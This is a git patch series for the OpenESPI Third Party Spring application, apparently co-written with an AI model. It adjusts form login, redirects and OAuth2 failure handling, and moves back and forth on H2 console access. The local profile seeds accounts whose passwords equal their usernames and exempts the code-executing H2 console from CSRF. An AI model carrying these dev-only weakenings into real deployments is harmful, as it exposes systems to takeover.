From bf1555b6de804bcd68e6a6e048a954fcde7acc29 Mon Sep 17 00:00:00 2001
From: "Donald F. Coffin"
Date: Mon, 16 Nov 2026 13:15:30 -0500
Subject: [PATCH 1/6] fix(thirdparty): address the #268 review of Third Party
form login (#249)
- Seed a local-only TP customer (customer/customer, ROLE_USER) beside the
admin, so the Data Access Authorization cards can be reached locally.
LocalDevAdminSeedRunner is renamed LocalDevAccountSeedRunner.
- Drop the explicit DaoAuthenticationProvider: Spring Security already
builds one from the UserDetailsService and PasswordEncoder beans, so
every failed login was checked twice.
- A failed Data Custodian authorization (oauth2Login) now returns to
/?authorization_error with its own message instead of the login page's
"Invalid username or password".
- The H2 console requires ROLE_CUSTODIAN (TP administrators) instead of
ROLE_ADMIN, which no TP account can hold.
- ReturnToAuthenticationSuccessHandler extends
SavedRequestAwareAuthenticationSuccessHandler instead of re-implementing
the saved-request redirect.
- LocalDevAccountSeedRunnerTest uses one AssertJ chain per object.
Co-Authored-By: Claude Opus 5.5
---
.../config/SecurityConfiguration.java | 25 ++++++-----
...er.java => LocalDevAccountSeedRunner.java} | 41 ++++++++++-------
.../ReturnToAuthenticationSuccessHandler.java | 43 ++++++++++--------
.../src/main/resources/templates/home.html | 6 +++
...ava => LocalDevAccountSeedRunnerTest.java} | 31 ++++++++-----
.../espi/thirdparty/web/FormLoginTest.java | 44 +++++++++++++++++++
6 files changed, 132 insertions(+), 58 deletions(-)
rename openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/security/{LocalDevAdminSeedRunner.java => LocalDevAccountSeedRunner.java} (52%)
rename openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/security/{LocalDevAdminSeedRunnerTest.java => LocalDevAccountSeedRunnerTest.java} (64%)
diff --git a/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/SecurityConfiguration.java b/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/SecurityConfiguration.java
index 7f705094..7d99e310 100644
--- a/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/SecurityConfiguration.java
+++ b/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/SecurityConfiguration.java
@@ -19,12 +19,10 @@
package org.greenbuttonalliance.espi.thirdparty.config;
-import org.greenbuttonalliance.espi.thirdparty.security.RetailCustomerUserDetailsService;
import org.greenbuttonalliance.espi.thirdparty.security.ReturnToAuthenticationSuccessHandler;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.http.HttpMethod;
-import org.springframework.security.authentication.dao.DaoAuthenticationProvider;
import org.springframework.security.config.Customizer;
import org.springframework.security.config.annotation.method.configuration.EnableMethodSecurity;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
@@ -72,16 +70,15 @@ public PasswordEncoder customerPasswordEncoder() {
* Two separate steps (#249): a TP customer or administrator first signs in to the Third Party
* with {@code formLogin} against the TP's own accounts; {@code oauth2Login} is then used from the
* home page only to authorize the TP at a Data Custodian, never to sign in to the TP.
+ *
+ *
Form login authenticates through the provider Spring Security builds from the single
+ * {@code UserDetailsService} bean ({@code RetailCustomerUserDetailsService}) and the single
+ * {@code PasswordEncoder} bean above. Do not also add a {@code DaoAuthenticationProvider} here:
+ * a second provider re-checks every failed login (two lookups, two BCrypt checks).
*/
@Bean
- public SecurityFilterChain filterChain(HttpSecurity http,
- RetailCustomerUserDetailsService userDetailsService,
- PasswordEncoder customerPasswordEncoder) throws Exception {
- DaoAuthenticationProvider provider = new DaoAuthenticationProvider(userDetailsService);
- provider.setPasswordEncoder(customerPasswordEncoder);
-
+ public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
- .authenticationProvider(provider)
.authorizeHttpRequests(authz -> authz
// Public pages (Terms of Service and Usage Policy are linked from the navbar, About from
// the footer)
@@ -92,7 +89,8 @@ public SecurityFilterChain filterChain(HttpSecurity http,
// OAuth access token. (The Third Party, as an OAuth client, presents its access token
// only when it later fetches the source URLs carried in the BatchList.)
.requestMatchers(HttpMethod.POST, "/espi/1_1/Notification").permitAll()
- .requestMatchers("/h2-console/**").hasRole("ADMIN")
+ // H2 console (enabled on the local profile only): TP administrators.
+ .requestMatchers("/h2-console/**").hasRole("CUSTODIAN")
.anyRequest().authenticated()
)
.formLogin(form -> form
@@ -107,7 +105,10 @@ public SecurityFilterChain filterChain(HttpSecurity http,
.oauth2Login(oauth2 -> oauth2
.loginPage("/login")
.defaultSuccessUrl("/", true)
- .failureUrl("/login?error=true")
+ // A refused or failed Data Custodian authorization is not a TP sign-in failure:
+ // send the customer home with its own message, not to the login page's
+ // "Invalid username or password".
+ .failureUrl("/?authorization_error")
)
.logout(logout -> logout
.logoutUrl("/logout")
@@ -128,7 +129,7 @@ public SecurityFilterChain filterChain(HttpSecurity http,
.cors(cors -> cors.configurationSource(corsConfigurationSource()))
// CSRF on for the browser UI (Thymeleaf th:action adds the token to every form, including
// login and logout). Exempt: the DC's server-to-server Notification POST, which carries no
- // session or token, and the H2 console.
+ // session or token, and the H2 console, whose own forms carry no CSRF token.
.csrf(csrf -> csrf.ignoringRequestMatchers(
PathPatternRequestMatcher.withDefaults().matcher(HttpMethod.POST, "/espi/1_1/Notification"),
PathPatternRequestMatcher.withDefaults().matcher("/h2-console/**")));
diff --git a/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/security/LocalDevAdminSeedRunner.java b/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/security/LocalDevAccountSeedRunner.java
similarity index 52%
rename from openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/security/LocalDevAdminSeedRunner.java
rename to openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/security/LocalDevAccountSeedRunner.java
index 3e266552..65e2aa9b 100644
--- a/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/security/LocalDevAdminSeedRunner.java
+++ b/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/security/LocalDevAccountSeedRunner.java
@@ -29,41 +29,50 @@
import org.springframework.stereotype.Component;
/**
- * Seeds the Third Party's development administrator ({@code admin} / {@code admin},
- * {@code ROLE_CUSTODIAN}) on the {@code local} profile only (#249).
+ * Seeds the Third Party's development accounts on the {@code local} profile only (#249):
+ *
+ *
{@code admin} / {@code admin}, a TP administrator ({@code ROLE_CUSTODIAN});
+ *
{@code customer} / {@code customer}, a TP customer ({@code ROLE_USER}), who sees the
+ * Data Access Authorization cards and can try the TP → Data Custodian authorization.
+ *
*
*
DEV ONLY. The credentials are public by being in this file. Other profiles
* (MySQL, PostgreSQL) need working TP Flyway first (#267) and never seed an account. Idempotent:
- * does nothing when an {@code admin} account already exists. Mirrors the DC's
- * {@code DevSandboxAdminSeedRunner}.
+ * an account that already exists is left alone. Mirrors the DC's {@code DevSandboxAdminSeedRunner}.
*/
@Slf4j
@Component
@Profile("local")
@RequiredArgsConstructor
-public class LocalDevAdminSeedRunner implements CommandLineRunner {
+public class LocalDevAccountSeedRunner implements CommandLineRunner {
static final String ADMIN_USERNAME = "admin";
- static final String ADMIN_PASSWORD = "admin";
+ static final String CUSTOMER_USERNAME = "customer";
private final RetailCustomerRepository repository;
private final PasswordEncoder customerPasswordEncoder;
@Override
public void run(String... args) {
- if (repository.findByUsername(ADMIN_USERNAME).isPresent()) {
- log.debug("Third Party dev admin '{}' already present; skipping seed.", ADMIN_USERNAME);
+ seed(ADMIN_USERNAME, "Third Party", "Admin", RetailCustomerEntity.ROLE_CUSTODIAN);
+ seed(CUSTOMER_USERNAME, "Third Party", "Customer", RetailCustomerEntity.ROLE_USER);
+ }
+
+ /** Seeds one account whose password equals its username. */
+ private void seed(String username, String firstName, String lastName, String role) {
+ if (repository.findByUsername(username).isPresent()) {
+ log.debug("Third Party dev account '{}' already present; skipping seed.", username);
return;
}
- RetailCustomerEntity admin = new RetailCustomerEntity(
- ADMIN_USERNAME, "Third Party", "Admin", "admin@example.local", RetailCustomerEntity.ROLE_CUSTODIAN);
- admin.setPassword(customerPasswordEncoder.encode(ADMIN_PASSWORD));
- admin.setEnabled(Boolean.TRUE);
- admin.setAccountLocked(Boolean.FALSE);
- repository.save(admin);
+ RetailCustomerEntity account = new RetailCustomerEntity(
+ username, firstName, lastName, username + "@example.local", role);
+ account.setPassword(customerPasswordEncoder.encode(username));
+ account.setEnabled(Boolean.TRUE);
+ account.setAccountLocked(Boolean.FALSE);
+ repository.save(account);
- log.warn("Seeded Third Party DEV admin: username='{}', password='{}' - DO NOT USE IN PRODUCTION",
- ADMIN_USERNAME, ADMIN_PASSWORD);
+ log.warn("Seeded Third Party DEV account: username='{}', password='{}', role={} - DO NOT USE IN PRODUCTION",
+ username, username, role);
}
}
diff --git a/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/security/ReturnToAuthenticationSuccessHandler.java b/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/security/ReturnToAuthenticationSuccessHandler.java
index 13cfca1e..c2418870 100644
--- a/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/security/ReturnToAuthenticationSuccessHandler.java
+++ b/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/security/ReturnToAuthenticationSuccessHandler.java
@@ -19,15 +19,15 @@
package org.greenbuttonalliance.espi.thirdparty.security;
+import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.greenbuttonalliance.espi.common.domain.usage.RetailCustomerEntity;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.GrantedAuthority;
-import org.springframework.security.web.authentication.SimpleUrlAuthenticationSuccessHandler;
+import org.springframework.security.web.authentication.SavedRequestAwareAuthenticationSuccessHandler;
import org.springframework.security.web.savedrequest.HttpSessionRequestCache;
import org.springframework.security.web.savedrequest.RequestCache;
-import org.springframework.security.web.savedrequest.SavedRequest;
import java.io.IOException;
import java.net.URI;
@@ -36,38 +36,45 @@
* Form-login success handler for the Third Party (#249). Redirects to, in order:
*
*
the {@code return_to} form parameter, when it is a same-origin path;
- *
the request the login page interrupted;
+ *
the request the login page interrupted (Spring Security's
+ * {@link SavedRequestAwareAuthenticationSuccessHandler} behavior);
*
the role landing page: {@code /custodian/home} for a TP administrator
* ({@code ROLE_CUSTODIAN}), otherwise the customer home {@code /}, which shows the
* Data Access Authorization cards.
*
*/
-public class ReturnToAuthenticationSuccessHandler extends SimpleUrlAuthenticationSuccessHandler {
+public class ReturnToAuthenticationSuccessHandler extends SavedRequestAwareAuthenticationSuccessHandler {
public static final String RETURN_TO_PARAMETER = "return_to";
static final String CUSTODIAN_LANDING = "/custodian/home";
static final String CUSTOMER_LANDING = "/";
- private final RequestCache requestCache = new HttpSessionRequestCache();
+ private RequestCache requestCache = new HttpSessionRequestCache();
@Override
public void onAuthenticationSuccess(HttpServletRequest request, HttpServletResponse response,
- Authentication authentication) throws IOException {
+ Authentication authentication) throws ServletException, IOException {
String returnTo = request.getParameter(RETURN_TO_PARAMETER);
- SavedRequest savedRequest = requestCache.getRequest(request, response);
- String target;
if (isSafeReturnTo(returnTo)) {
- target = returnTo;
+ requestCache.removeRequest(request, response);
+ clearAuthenticationAttributes(request);
+ getRedirectStrategy().sendRedirect(request, response, returnTo);
+ return;
}
- else if (savedRequest != null) {
- target = savedRequest.getRedirectUrl();
- }
- else {
- target = landingFor(authentication);
- }
- requestCache.removeRequest(request, response);
- clearAuthenticationAttributes(request);
- getRedirectStrategy().sendRedirect(request, response, target);
+ super.onAuthenticationSuccess(request, response, authentication);
+ }
+
+ /** Used by the superclass when there is no saved request: the role landing page. */
+ @Override
+ protected String determineTargetUrl(HttpServletRequest request, HttpServletResponse response,
+ Authentication authentication) {
+ return landingFor(authentication);
+ }
+
+ @Override
+ public void setRequestCache(RequestCache requestCache) {
+ super.setRequestCache(requestCache);
+ this.requestCache = requestCache;
}
static String landingFor(Authentication authentication) {
diff --git a/openespi-thirdparty/src/main/resources/templates/home.html b/openespi-thirdparty/src/main/resources/templates/home.html
index 3876602f..512f2788 100644
--- a/openespi-thirdparty/src/main/resources/templates/home.html
+++ b/openespi-thirdparty/src/main/resources/templates/home.html
@@ -8,6 +8,12 @@
+
+
+
+ The Data Custodian authorization did not complete. No data access was granted; you can try again below.
+
+
diff --git a/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/security/LocalDevAdminSeedRunnerTest.java b/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/security/LocalDevAccountSeedRunnerTest.java
similarity index 64%
rename from openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/security/LocalDevAdminSeedRunnerTest.java
rename to openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/security/LocalDevAccountSeedRunnerTest.java
index 00197d3d..1e034f55 100644
--- a/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/security/LocalDevAdminSeedRunnerTest.java
+++ b/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/security/LocalDevAccountSeedRunnerTest.java
@@ -33,13 +33,16 @@
import java.util.Optional;
import static org.assertj.core.api.Assertions.assertThat;
+import static org.assertj.core.api.Assertions.tuple;
import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.anyString;
import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.times;
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.when;
@ExtendWith(MockitoExtension.class)
-class LocalDevAdminSeedRunnerTest {
+class LocalDevAccountSeedRunnerTest {
@Mock
private RetailCustomerRepository repository;
@@ -48,29 +51,33 @@ class LocalDevAdminSeedRunnerTest {
@Test
void runs_on_the_local_profile_only() {
- assertThat(LocalDevAdminSeedRunner.class.getAnnotation(Profile.class).value()).containsExactly("local");
+ assertThat(LocalDevAccountSeedRunner.class.getAnnotation(Profile.class).value()).containsExactly("local");
}
@Test
- void seeds_an_enabled_bcrypt_custodian_admin() {
- when(repository.findByUsername("admin")).thenReturn(Optional.empty());
+ void seeds_an_enabled_bcrypt_administrator_and_customer() {
+ when(repository.findByUsername(anyString())).thenReturn(Optional.empty());
- new LocalDevAdminSeedRunner(repository, encoder).run();
+ new LocalDevAccountSeedRunner(repository, encoder).run();
ArgumentCaptor saved = ArgumentCaptor.forClass(RetailCustomerEntity.class);
- verify(repository).save(saved.capture());
- assertThat(saved.getValue())
+ verify(repository, times(2)).save(saved.capture());
+ assertThat(saved.getAllValues())
+ .allSatisfy(account -> assertThat(encoder.matches(account.getUsername(), account.getPassword()))
+ .as("password of %s is the BCrypt hash of its username", account.getUsername())
+ .isTrue())
.extracting(RetailCustomerEntity::getUsername, RetailCustomerEntity::getRole,
RetailCustomerEntity::getEnabled, RetailCustomerEntity::getAccountLocked)
- .containsExactly("admin", RetailCustomerEntity.ROLE_CUSTODIAN, true, false);
- assertThat(encoder.matches("admin", saved.getValue().getPassword())).isTrue();
+ .containsExactly(
+ tuple("admin", RetailCustomerEntity.ROLE_CUSTODIAN, true, false),
+ tuple("customer", RetailCustomerEntity.ROLE_USER, true, false));
}
@Test
- void does_nothing_when_the_admin_exists() {
- when(repository.findByUsername("admin")).thenReturn(Optional.of(new RetailCustomerEntity()));
+ void does_nothing_when_the_accounts_exist() {
+ when(repository.findByUsername(anyString())).thenReturn(Optional.of(new RetailCustomerEntity()));
- new LocalDevAdminSeedRunner(repository, encoder).run();
+ new LocalDevAccountSeedRunner(repository, encoder).run();
verify(repository, never()).save(any());
}
diff --git a/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/web/FormLoginTest.java b/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/web/FormLoginTest.java
index ec0f5a36..08dedb0b 100644
--- a/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/web/FormLoginTest.java
+++ b/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/web/FormLoginTest.java
@@ -21,6 +21,7 @@
import org.greenbuttonalliance.espi.common.domain.usage.RetailCustomerEntity;
import org.greenbuttonalliance.espi.common.repositories.usage.RetailCustomerRepository;
+import org.greenbuttonalliance.espi.thirdparty.security.RetailCustomerUserDetailsService;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DisplayName;
@@ -31,11 +32,15 @@
import org.springframework.mock.web.MockHttpSession;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.test.context.ActiveProfiles;
+import org.springframework.test.context.bean.override.mockito.MockitoSpyBean;
import org.springframework.test.web.servlet.MockMvc;
import java.util.List;
import static org.assertj.core.api.Assertions.assertThat;
+import static org.mockito.Mockito.clearInvocations;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
import static org.springframework.security.test.web.servlet.request.SecurityMockMvcRequestPostProcessors.csrf;
import static org.springframework.security.test.web.servlet.request.SecurityMockMvcRequestPostProcessors.user;
import static org.springframework.security.test.web.servlet.response.SecurityMockMvcResultMatchers.authenticated;
@@ -65,6 +70,9 @@ class FormLoginTest {
@Autowired
private PasswordEncoder customerPasswordEncoder;
+ @MockitoSpyBean
+ private RetailCustomerUserDetailsService userDetailsService;
+
@BeforeEach
void createAccounts() {
cleanUp();
@@ -217,6 +225,42 @@ void logout_returns_to_login() throws Exception {
.andExpect(unauthenticated());
}
+ @Test
+ @DisplayName("a wrong password is checked once, not again by a second authentication provider")
+ void wrong_password_is_checked_once() throws Exception {
+ clearInvocations(userDetailsService);
+
+ mockMvc.perform(post("/login").with(csrf()).param("username", CUSTOMER).param("password", "wrong"))
+ .andExpect(redirectedUrl("/login?error"));
+
+ verify(userDetailsService, times(1)).loadUserByUsername(CUSTOMER);
+ }
+
+ @Test
+ @DisplayName("a failed Data Custodian authorization returns home with its own message, not the login error")
+ void failed_dc_authorization_has_its_own_message() throws Exception {
+ // No saved authorization request, so the OAuth2 callback fails (authorization_request_not_found).
+ mockMvc.perform(get("/login/oauth2/code/datacustodian").with(user(CUSTOMER).roles("USER"))
+ .param("error", "access_denied").param("state", "unknown"))
+ .andExpect(redirectedUrl("/?authorization_error"));
+
+ assertThat(mockMvc.perform(get("/").param("authorization_error", "").with(user(CUSTOMER).roles("USER")))
+ .andExpect(status().isOk()).andReturn().getResponse().getContentAsString())
+ .contains("The Data Custodian authorization did not complete")
+ .doesNotContain("Invalid username or password");
+ }
+
+ @Test
+ @DisplayName("the H2 console is open to TP administrators only")
+ void h2_console_is_administrator_only() throws Exception {
+ mockMvc.perform(get("/h2-console/").with(user(CUSTOMER).roles("USER")))
+ .andExpect(status().isForbidden());
+ // The console itself is not enabled on the test profile, so an administrator gets past
+ // security to a 404 rather than a 403.
+ mockMvc.perform(get("/h2-console/").with(user(ADMIN).roles("CUSTODIAN")))
+ .andExpect(status().isNotFound());
+ }
+
@Test
@DisplayName("the DC's Notification POST is exempt from CSRF")
void notification_post_is_not_blocked_by_csrf() throws Exception {
From fc34638cbe255cd034c4670d15391f27e1474747 Mon Sep 17 00:00:00 2001
From: "Donald F. Coffin"
Date: Mon, 16 Nov 2026 13:18:47 -0500
Subject: [PATCH 2/6] fix(thirdparty): block the H2 console instead of opening
it to TP administrators
The previous commit let ROLE_CUSTODIAN open /h2-console. The local
profile seeds admin/admin with that role and set web-allow-others: true,
and the H2 console runs arbitrary SQL (CREATE ALIAS runs Java code), so
anyone who could reach the dev machine could get code execution. Before
that commit the console was unreachable (ROLE_ADMIN, which no account
holds).
- /h2-console/** is denyAll; its CSRF exemption is removed.
- The local profile sets web-allow-others: false.
- The rule's comment names every profile that enables the console
(local, dev, h2), not only local.
Co-Authored-By: Claude Opus 5.5
---
.../espi/thirdparty/config/SecurityConfiguration.java | 11 ++++++-----
.../src/main/resources/application-local.yml | 3 ++-
.../espi/thirdparty/web/FormLoginTest.java | 10 +++++-----
3 files changed, 13 insertions(+), 11 deletions(-)
diff --git a/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/SecurityConfiguration.java b/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/SecurityConfiguration.java
index 7d99e310..90956f4d 100644
--- a/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/SecurityConfiguration.java
+++ b/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/SecurityConfiguration.java
@@ -89,8 +89,10 @@ public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
// OAuth access token. (The Third Party, as an OAuth client, presents its access token
// only when it later fetches the source URLs carried in the BatchList.)
.requestMatchers(HttpMethod.POST, "/espi/1_1/Notification").permitAll()
- // H2 console (enabled on the local profile only): TP administrators.
- .requestMatchers("/h2-console/**").hasRole("CUSTODIAN")
+ // H2 console (enabled on the local, dev and h2 profiles): blocked for everyone. The
+ // console runs arbitrary SQL, and H2's CREATE ALIAS runs Java code, so opening it to an
+ // account with seeded, public credentials (admin/admin) would expose code execution.
+ .requestMatchers("/h2-console/**").denyAll()
.anyRequest().authenticated()
)
.formLogin(form -> form
@@ -129,10 +131,9 @@ public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
.cors(cors -> cors.configurationSource(corsConfigurationSource()))
// CSRF on for the browser UI (Thymeleaf th:action adds the token to every form, including
// login and logout). Exempt: the DC's server-to-server Notification POST, which carries no
- // session or token, and the H2 console, whose own forms carry no CSRF token.
+ // session or token.
.csrf(csrf -> csrf.ignoringRequestMatchers(
- PathPatternRequestMatcher.withDefaults().matcher(HttpMethod.POST, "/espi/1_1/Notification"),
- PathPatternRequestMatcher.withDefaults().matcher("/h2-console/**")));
+ PathPatternRequestMatcher.withDefaults().matcher(HttpMethod.POST, "/espi/1_1/Notification")));
return http.build();
}
diff --git a/openespi-thirdparty/src/main/resources/application-local.yml b/openespi-thirdparty/src/main/resources/application-local.yml
index 3e62666e..eed1f422 100644
--- a/openespi-thirdparty/src/main/resources/application-local.yml
+++ b/openespi-thirdparty/src/main/resources/application-local.yml
@@ -35,7 +35,8 @@ spring:
enabled: true
path: /h2-console
settings:
- web-allow-others: true
+ # Localhost only. The Third Party's security rules also block /h2-console for everyone.
+ web-allow-others: false
# Development-specific logging
logging:
diff --git a/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/web/FormLoginTest.java b/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/web/FormLoginTest.java
index 08dedb0b..6cadcdc7 100644
--- a/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/web/FormLoginTest.java
+++ b/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/web/FormLoginTest.java
@@ -251,14 +251,14 @@ void failed_dc_authorization_has_its_own_message() throws Exception {
}
@Test
- @DisplayName("the H2 console is open to TP administrators only")
- void h2_console_is_administrator_only() throws Exception {
+ @DisplayName("the H2 console is blocked for every account, including TP administrators")
+ void h2_console_is_blocked() throws Exception {
mockMvc.perform(get("/h2-console/").with(user(CUSTOMER).roles("USER")))
.andExpect(status().isForbidden());
- // The console itself is not enabled on the test profile, so an administrator gets past
- // security to a 404 rather than a 403.
mockMvc.perform(get("/h2-console/").with(user(ADMIN).roles("CUSTODIAN")))
- .andExpect(status().isNotFound());
+ .andExpect(status().isForbidden());
+ mockMvc.perform(post("/h2-console/login.do").with(user(ADMIN).roles("CUSTODIAN")))
+ .andExpect(status().isForbidden());
}
@Test
From 07cc992504e04fcbbac3d7276e06c61ce6d021a6 Mon Sep 17 00:00:00 2001
From: "Donald F. Coffin"
Date: Mon, 16 Nov 2026 13:31:40 -0500
Subject: [PATCH 3/6] fix(thirdparty): give TP administrators the H2 console,
localhost only
Blocking the H2 console for everyone (previous commit) overcorrected:
developers need it for diagnostics. The risk was the combination of
remote access (web-allow-others: true), seeded public credentials and an
SQL console that can run Java code, not the console itself.
- /h2-console/** requires ROLE_CUSTODIAN again, with its CSRF exemption
(the console's own forms carry no token).
- H2 answers localhost only (web-allow-others: false on local; dev and
h2 already had it).
- local sets the session cookie to SameSite=Lax explicitly, so a
cross-site page cannot reach the CSRF-exempt console with the
developer's session; Lax still allows the redirect back from the AS.
- Add spring-boot-h2console: Spring Boot 4 moved the console's
auto-configuration into that module, so spring.h2.console.enabled has
done nothing in this module since the Boot 4 migration.
Co-Authored-By: Claude Opus 5.5
---
openespi-thirdparty/pom.xml | 8 ++++++++
.../thirdparty/config/SecurityConfiguration.java | 16 ++++++++++------
.../src/main/resources/application-local.yml | 9 ++++++++-
.../espi/thirdparty/web/FormLoginTest.java | 13 +++++++++----
4 files changed, 35 insertions(+), 11 deletions(-)
diff --git a/openespi-thirdparty/pom.xml b/openespi-thirdparty/pom.xml
index f7fb6d8f..fed30ecf 100644
--- a/openespi-thirdparty/pom.xml
+++ b/openespi-thirdparty/pom.xml
@@ -199,6 +199,14 @@
h2runtime
+
+
+ org.springframework.boot
+ spring-boot-h2console
+ runtime
+
diff --git a/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/SecurityConfiguration.java b/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/SecurityConfiguration.java
index 90956f4d..eecddf93 100644
--- a/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/SecurityConfiguration.java
+++ b/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/SecurityConfiguration.java
@@ -89,10 +89,12 @@ public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
// OAuth access token. (The Third Party, as an OAuth client, presents its access token
// only when it later fetches the source URLs carried in the BatchList.)
.requestMatchers(HttpMethod.POST, "/espi/1_1/Notification").permitAll()
- // H2 console (enabled on the local, dev and h2 profiles): blocked for everyone. The
- // console runs arbitrary SQL, and H2's CREATE ALIAS runs Java code, so opening it to an
- // account with seeded, public credentials (admin/admin) would expose code execution.
- .requestMatchers("/h2-console/**").denyAll()
+ // H2 console (enabled on the local, dev and h2 profiles), for developer diagnostics.
+ // It runs arbitrary SQL, and H2's CREATE ALIAS runs Java code, so it is guarded twice:
+ // H2 itself answers localhost only (web-allow-others: false on every profile that
+ // enables it), and a signed-in TP administrator is required, so a cross-site page in
+ // the developer's browser cannot drive it without their session cookie (SameSite=Lax).
+ .requestMatchers("/h2-console/**").hasRole("CUSTODIAN")
.anyRequest().authenticated()
)
.formLogin(form -> form
@@ -131,9 +133,11 @@ public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
.cors(cors -> cors.configurationSource(corsConfigurationSource()))
// CSRF on for the browser UI (Thymeleaf th:action adds the token to every form, including
// login and logout). Exempt: the DC's server-to-server Notification POST, which carries no
- // session or token.
+ // session or token, and the H2 console, whose own forms carry no CSRF token (guarded by
+ // the localhost-only and administrator rules above instead).
.csrf(csrf -> csrf.ignoringRequestMatchers(
- PathPatternRequestMatcher.withDefaults().matcher(HttpMethod.POST, "/espi/1_1/Notification")));
+ PathPatternRequestMatcher.withDefaults().matcher(HttpMethod.POST, "/espi/1_1/Notification"),
+ PathPatternRequestMatcher.withDefaults().matcher("/h2-console/**")));
return http.build();
}
diff --git a/openespi-thirdparty/src/main/resources/application-local.yml b/openespi-thirdparty/src/main/resources/application-local.yml
index eed1f422..c4ffd117 100644
--- a/openespi-thirdparty/src/main/resources/application-local.yml
+++ b/openespi-thirdparty/src/main/resources/application-local.yml
@@ -35,7 +35,7 @@ spring:
enabled: true
path: /h2-console
settings:
- # Localhost only. The Third Party's security rules also block /h2-console for everyone.
+ # Localhost only. The Third Party's security rules also require a signed-in TP administrator.
web-allow-others: false
# Development-specific logging
@@ -53,6 +53,13 @@ logging:
server:
port: 8082
+ servlet:
+ session:
+ cookie:
+ # Explicit, not left to browser defaults: cross-site POSTs (e.g. to the CSRF-exempt H2
+ # console) carry no session cookie. Lax still sends it on the top-level redirect back from
+ # the Authorization Server, so Data Custodian authorization keeps working.
+ same-site: lax
espi:
thirdparty:
diff --git a/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/web/FormLoginTest.java b/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/web/FormLoginTest.java
index 6cadcdc7..c6d5e980 100644
--- a/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/web/FormLoginTest.java
+++ b/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/web/FormLoginTest.java
@@ -251,14 +251,19 @@ void failed_dc_authorization_has_its_own_message() throws Exception {
}
@Test
- @DisplayName("the H2 console is blocked for every account, including TP administrators")
- void h2_console_is_blocked() throws Exception {
+ @DisplayName("the H2 console requires a signed-in TP administrator and works without a CSRF token")
+ void h2_console_is_administrator_only() throws Exception {
+ mockMvc.perform(get("/h2-console/"))
+ .andExpect(status().is3xxRedirection())
+ .andExpect(redirectedUrl("/login"));
mockMvc.perform(get("/h2-console/").with(user(CUSTOMER).roles("USER")))
.andExpect(status().isForbidden());
+ // The console is not enabled on the test profile, so an administrator gets past security
+ // to a 404 rather than a 403 - including on its tokenless login POST.
mockMvc.perform(get("/h2-console/").with(user(ADMIN).roles("CUSTODIAN")))
- .andExpect(status().isForbidden());
+ .andExpect(status().isNotFound());
mockMvc.perform(post("/h2-console/login.do").with(user(ADMIN).roles("CUSTODIAN")))
- .andExpect(status().isForbidden());
+ .andExpect(status().isNotFound());
}
@Test
From 2421ecd1349921958d759be724c6bcc4f92db8d1 Mon Sep 17 00:00:00 2001
From: "Donald F. Coffin"
Date: Mon, 16 Nov 2026 13:46:10 -0500
